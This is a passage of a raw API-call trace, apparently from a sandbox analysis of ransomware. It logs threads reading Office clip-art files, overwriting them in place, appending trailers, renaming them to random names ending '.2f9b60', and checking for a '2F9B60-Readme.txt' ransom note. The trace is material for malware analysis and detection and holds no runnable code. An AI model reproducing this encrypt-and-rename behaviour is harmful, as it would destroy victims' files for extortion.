RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x119a02c4 [0210.752] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x750a91f6 [0210.752] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x4d45e8cc [0210.752] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x8e5b2d [0210.752] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x432bcdf9 [0210.752] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x66e836dc [0210.752] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x225cce1d [0210.752] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x18fe16e3 [0210.752] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x2ca6980d [0210.752] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x3838ca42 [0210.752] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x6d06892f [0210.761] ReadFile (in: hFile=0xcec, lpBuffer=0x42b392c0, nNumberOfBytesToRead=0xc9e, lpNumberOfBytesRead=0x24aef750, lpOverlapped=0x0 | out: lpBuffer=0x42b392c0*, lpNumberOfBytesRead=0x24aef750*=0xc9e, lpOverlapped=0x0) returned 1 [0210.761] SetFilePointerEx (in: hFile=0xcec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.761] WriteFile (in: hFile=0xcec, lpBuffer=0x42b13a20*, nNumberOfBytesToWrite=0xc9e, lpNumberOfBytesWritten=0x24aef754, lpOverlapped=0x0 | out: lpBuffer=0x42b13a20*, lpNumberOfBytesWritten=0x24aef754*=0xc9e, lpOverlapped=0x0) returned 1 [0215.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139130 [0215.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431390a0 [0215.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431390a0) returned 1 [0215.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b13a20) returned 1 [0215.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b392c0) returned 1 [0215.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23fa0) returned 1 [0215.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61a60) returned 1 [0215.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x431390a0 [0215.371] SetFilePointerEx (in: hFile=0xcec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.371] WriteFile (in: hFile=0xcec, lpBuffer=0x423aa1d0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x24aef870, lpOverlapped=0x0 | out: lpBuffer=0x423aa1d0*, lpNumberOfBytesWritten=0x24aef870*=0x10a, lpOverlapped=0x0) returned 1 [0217.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8410 [0217.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8410) returned 1 [0217.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8410 [0217.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9fd0 [0217.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9fd0) returned 1 [0217.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8200 [0217.725] sprintf (in: _Dest=0x1b7d8200, _Format="%c%c" | out: _Dest="9b") returned 2 [0217.725] sprintf (in: _Dest=0x1b7d8202, _Format="%c%c" | out: _Dest="f2") returned 2 [0217.725] sprintf (in: _Dest=0x1b7d8204, _Format="%c%c" | out: _Dest="e1") returned 2 [0217.725] sprintf (in: _Dest=0x1b7d8206, _Format="%c%c" | out: _Dest="b5") returned 2 [0217.725] sprintf (in: _Dest=0x1b7d8208, _Format="%c%c" | out: _Dest="54") returned 2 [0217.725] sprintf (in: _Dest=0x1b7d820a, _Format="%c%c" | out: _Dest="90") returned 2 [0217.725] sprintf (in: _Dest=0x1b7d820c, _Format="%c%c" | out: _Dest="67") returned 2 [0217.725] sprintf (in: _Dest=0x1b7d820e, _Format="%c%c" | out: _Dest="8e") returned 2 [0217.725] sprintf (in: _Dest=0x1b7d8210, _Format="%c%c" | out: _Dest="7b") returned 2 [0217.725] sprintf (in: _Dest=0x1b7d8212, _Format="%c%c" | out: _Dest="92") returned 2 [0217.725] sprintf (in: _Dest=0x1b7d8214, _Format="%c%c" | out: _Dest="ab") returned 2 [0217.725] sprintf (in: _Dest=0x1b7d8216, _Format="%c%c" | out: _Dest="20") returned 2 [0217.725] sprintf (in: _Dest=0x1b7d8218, _Format="%c%c" | out: _Dest="4c") returned 2 [0217.725] sprintf (in: _Dest=0x1b7d821a, _Format="%c%c" | out: _Dest="be") returned 2 [0217.725] sprintf (in: _Dest=0x1b7d821c, _Format="%c%c" | out: _Dest="e8") returned 2 [0217.725] sprintf (in: _Dest=0x1b7d821e, _Format="%c%c" | out: _Dest="f3") returned 2 [0217.725] sprintf (in: _Dest=0x1b7d8220, _Format="%c%c" | out: _Dest="6d") returned 2 [0217.725] sprintf (in: _Dest=0x1b7d8222, _Format="%c%c" | out: _Dest="02") returned 2 [0217.725] sprintf (in: _Dest=0x1b7d8224, _Format="%c%c" | out: _Dest="3b") returned 2 [0217.725] sprintf (in: _Dest=0x1b7d8226, _Format="%c%c" | out: _Dest="d8") returned 2 [0217.725] sprintf (in: _Dest=0x1b7d8228, _Format="%c%c" | out: _Dest="fc") returned 2 [0217.726] sprintf (in: _Dest=0x1b7d822a, _Format="%c%c" | out: _Dest="b3") returned 2 [0217.726] sprintf (in: _Dest=0x1b7d822c, _Format="%c%c" | out: _Dest="43") returned 2 [0217.726] sprintf (in: _Dest=0x1b7d822e, _Format="%c%c" | out: _Dest="4a") returned 2 [0217.726] RtlInitAnsiString (in: DestinationString=0x24aef8e8, SourceString="9bf2e1b55490678e7b92ab204cbee8f36d023bd8fcb3434a" | out: DestinationString="9bf2e1b55490678e7b92ab204cbee8f36d023bd8fcb3434a") [0217.726] RtlAnsiStringToUnicodeString (in: DestinationString=0x24aef8b8, SourceString="9bf2e1b55490678e7b92ab204cbee8f36d023bd8fcb3434a", AllocateDestinationString=1 | out: DestinationString="9bf2e1b55490678e7b92ab204cbee8f36d023bd8fcb3434a") returned 0x0 [0217.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e9f30 [0217.726] wcscat (in: _Dest=0x43150090, _Source="9bf2e1b55490" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\9bf2e1b55490") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\9bf2e1b55490" [0217.726] wcscat (in: _Dest=0x43150090, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\9bf2e1b55490.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\9bf2e1b55490.2f9b60" [0217.726] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\9bf2e1b55490.2f9b60", NtPathName=0x24aef890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\9bf2e1b55490.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4205fdf0 Thread: id = 3553 os_tid = 0x1fb4 [0210.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18192_.wmf")) returned 0x20 [0210.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF", dwFileAttributes=0x20) returned 1 [0210.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18192_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf98 [0210.731] GetFileSizeEx (in: hFile=0xf98, lpFileSize=0x2acff960 | out: lpFileSize=0x2acff960*=8296) returned 1 [0210.731] SetFilePointerEx (in: hFile=0xf98, liDistanceToMove=0x2064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.731] ReadFile (in: hFile=0xf98, lpBuffer=0x2acff8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2acff928, lpOverlapped=0x0 | out: lpBuffer=0x2acff8e0*, lpNumberOfBytesRead=0x2acff928*=0x4, lpOverlapped=0x0) returned 1 [0210.762] SetFilePointerEx (in: hFile=0xf98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0210.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8380 [0210.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9040 [0210.763] NtQuerySystemTime (in: CurrentTime=0x2acff820 | out: CurrentTime=0x2acff820*=132462178156306000) returned 0x0 [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x1e58a40b [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x63805e60 [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x1abb9ba6 [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x25d50d04 [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x57ebbb0e [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x18a58cda [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x2c88c59a [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x7b84d36 [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x4541bc67 [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x21dea18a [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x3701da91 [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x16456d57 [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x682fa234 [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x60dd9290 [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x7d74e106 [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x25dde1db [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x58005764 [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x2fde6650 [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x59a73b18 [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x1c01faf8 [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x4cc7c7f1 [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x66bd5e1c [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x258bbd3d [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x5e621ae9 [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x75fd9699 [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x7f05aa7f [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x4c3353e1 [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x741fc670 [0210.763] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x69ee79f9 [0210.764] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x67818b1a [0210.764] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x72e2514f [0210.764] RtlRandomEx (in: Seed=0x2acff810 | out: Seed=0x2acff810) returned 0x77801b28 [0210.772] ReadFile (in: hFile=0xf98, lpBuffer=0x42b17630, nNumberOfBytesToRead=0x2068, lpNumberOfBytesRead=0x2acff810, lpOverlapped=0x0 | out: lpBuffer=0x42b17630*, lpNumberOfBytesRead=0x2acff810*=0x2068, lpOverlapped=0x0) returned 1 [0210.852] SetFilePointerEx (in: hFile=0xf98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.852] WriteFile (in: hFile=0xf98, lpBuffer=0x42b22a60*, nNumberOfBytesToWrite=0x2068, lpNumberOfBytesWritten=0x2acff814, lpOverlapped=0x0 | out: lpBuffer=0x42b22a60*, lpNumberOfBytesWritten=0x2acff814*=0x2068, lpOverlapped=0x0) returned 1 [0215.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c280 [0215.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bf20 [0215.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bf20) returned 1 [0215.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b22a60) returned 1 [0215.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b17630) returned 1 [0215.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23f20) returned 1 [0215.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce619c0) returned 1 [0215.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4313bf20 [0215.399] SetFilePointerEx (in: hFile=0xf98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.399] WriteFile (in: hFile=0xf98, lpBuffer=0x423ab730*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2acff930, lpOverlapped=0x0 | out: lpBuffer=0x423ab730*, lpNumberOfBytesWritten=0x2acff930*=0x10a, lpOverlapped=0x0) returned 1 [0217.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9c10 [0217.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9c10) returned 1 [0217.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9c10 [0217.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a95e0 [0217.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a95e0) returned 1 [0217.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8200 [0217.769] sprintf (in: _Dest=0x1b7d8200, _Format="%c%c" | out: _Dest="d5") returned 2 [0217.769] sprintf (in: _Dest=0x1b7d8202, _Format="%c%c" | out: _Dest="42") returned 2 [0217.769] sprintf (in: _Dest=0x1b7d8204, _Format="%c%c" | out: _Dest="ea") returned 2 [0217.769] sprintf (in: _Dest=0x1b7d8206, _Format="%c%c" | out: _Dest="ab") returned 2 [0217.769] sprintf (in: _Dest=0x1b7d8208, _Format="%c%c" | out: _Dest="4e") returned 2 [0217.769] sprintf (in: _Dest=0x1b7d820a, _Format="%c%c" | out: _Dest="fc") returned 2 [0217.769] sprintf (in: _Dest=0x1b7d820c, _Format="%c%c" | out: _Dest="fb") returned 2 [0217.769] sprintf (in: _Dest=0x1b7d820e, _Format="%c%c" | out: _Dest="69") returned 2 [0217.769] sprintf (in: _Dest=0x1b7d8210, _Format="%c%c" | out: _Dest="cd") returned 2 [0217.769] sprintf (in: _Dest=0x1b7d8212, _Format="%c%c" | out: _Dest="fb") returned 2 [0217.770] sprintf (in: _Dest=0x1b7d8214, _Format="%c%c" | out: _Dest="68") returned 2 [0217.770] sprintf (in: _Dest=0x1b7d8216, _Format="%c%c" | out: _Dest="a7") returned 2 [0217.770] sprintf (in: _Dest=0x1b7d8218, _Format="%c%c" | out: _Dest="bc") returned 2 [0217.770] sprintf (in: _Dest=0x1b7d821a, _Format="%c%c" | out: _Dest="15") returned 2 [0217.770] sprintf (in: _Dest=0x1b7d821c, _Format="%c%c" | out: _Dest="aa") returned 2 [0217.770] sprintf (in: _Dest=0x1b7d821e, _Format="%c%c" | out: _Dest="00") returned 2 [0217.770] sprintf (in: _Dest=0x1b7d8220, _Format="%c%c" | out: _Dest="d8") returned 2 [0217.770] sprintf (in: _Dest=0x1b7d8222, _Format="%c%c" | out: _Dest="1e") returned 2 [0217.770] sprintf (in: _Dest=0x1b7d8224, _Format="%c%c" | out: _Dest="ad") returned 2 [0217.770] sprintf (in: _Dest=0x1b7d8226, _Format="%c%c" | out: _Dest="c2") returned 2 [0217.770] sprintf (in: _Dest=0x1b7d8228, _Format="%c%c" | out: _Dest="c5") returned 2 [0217.770] sprintf (in: _Dest=0x1b7d822a, _Format="%c%c" | out: _Dest="f2") returned 2 [0217.770] sprintf (in: _Dest=0x1b7d822c, _Format="%c%c" | out: _Dest="b2") returned 2 [0217.770] sprintf (in: _Dest=0x1b7d822e, _Format="%c%c" | out: _Dest="1d") returned 2 [0217.770] RtlInitAnsiString (in: DestinationString=0x2acff9a8, SourceString="d542eaab4efcfb69cdfb68a7bc15aa00d81eadc2c5f2b21d" | out: DestinationString="d542eaab4efcfb69cdfb68a7bc15aa00d81eadc2c5f2b21d") [0217.770] RtlAnsiStringToUnicodeString (in: DestinationString=0x2acff978, SourceString="d542eaab4efcfb69cdfb68a7bc15aa00d81eadc2c5f2b21d", AllocateDestinationString=1 | out: DestinationString="d542eaab4efcfb69cdfb68a7bc15aa00d81eadc2c5f2b21d") returned 0x0 [0217.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x43105fa0 [0217.771] wcscat (in: _Dest=0x4314fc70, _Source="d542eaab4efc" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\d542eaab4efc") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\d542eaab4efc" [0217.771] wcscat (in: _Dest=0x4314fc70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\d542eaab4efc.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\d542eaab4efc.2f9b60" [0217.771] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\d542eaab4efc.2f9b60", NtPathName=0x2acff950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\d542eaab4efc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430fe2c0 [0237.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fe2c0) returned 1 [0237.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431bb290) returned 1 [0237.188] NtQueryInformationFile (in: FileHandle=0xf98, IoStatusBlock=0x2acff9b8, FileInformation=0x2acff9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2acff9b8, FileInformation=0x2acff9c8) returned 0x0 [0237.188] NtSetInformationFile (FileHandle=0xf98, IoStatusBlock=0x2acff9b8, FileInformation=0x2acff9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314fc70) returned 1 [0237.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43105fa0) returned 1 [0237.732] FlushFileBuffers (hFile=0xf98) returned 1 [0238.231] CloseHandle (hObject=0xf98) returned 1 [0241.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd65ad0 [0241.615] wcscpy (in: _Dest=0x1cd65ad0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0241.615] wcscat (in: _Dest=0x1cd65ad0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt" [0241.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\2f9b60-readme.txt")) returned 0x20 [0241.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65ad0) returned 1 [0241.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c9580) returned 1 Thread: id = 3554 os_tid = 0x2014 [0210.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18193_.wmf")) returned 0x20 [0210.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF", dwFileAttributes=0x20) returned 1 [0210.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18193_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1848 [0210.748] GetFileSizeEx (in: hFile=0x1848, lpFileSize=0x26f9fc60 | out: lpFileSize=0x26f9fc60*=4750) returned 1 [0210.748] SetFilePointerEx (in: hFile=0x1848, liDistanceToMove=0x128a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.748] ReadFile (in: hFile=0x1848, lpBuffer=0x26f9fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26f9fc28, lpOverlapped=0x0 | out: lpBuffer=0x26f9fbe0*, lpNumberOfBytesRead=0x26f9fc28*=0x4, lpOverlapped=0x0) returned 1 [0211.096] SetFilePointerEx (in: hFile=0x1848, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1aa30 [0211.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1aa00 [0211.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a940 [0211.097] NtQuerySystemTime (in: CurrentTime=0x26f9fb20 | out: CurrentTime=0x26f9fb20*=132462178159582000) returned 0x0 [0211.097] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x749f7e69 [0211.097] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x58b2d99a [0211.097] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x515d7a6 [0211.097] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x521be04a [0211.097] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x2eaa046c [0211.097] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x95e6cc3 [0211.097] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x6a8e1061 [0211.097] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x14e25167 [0211.097] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x55bf953d [0211.097] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x1e2bffe [0211.097] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x5bccbfcd [0211.097] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x2405f069 [0211.097] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x2f2eb35e [0211.097] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x2afbd469 [0211.097] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x44895e43 [0211.097] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x501c471f [0211.097] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x5bec882a [0211.097] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x6963e26b [0211.097] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x1f07a02e [0211.098] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x640fd21c [0211.098] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x5ce95a63 [0211.098] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x51f8e932 [0211.098] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x38dc06c8 [0211.098] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x4cc27596 [0211.098] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x57645263 [0211.098] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x609a7c93 [0211.098] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x20a6db6d [0211.098] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x2ef9b9c2 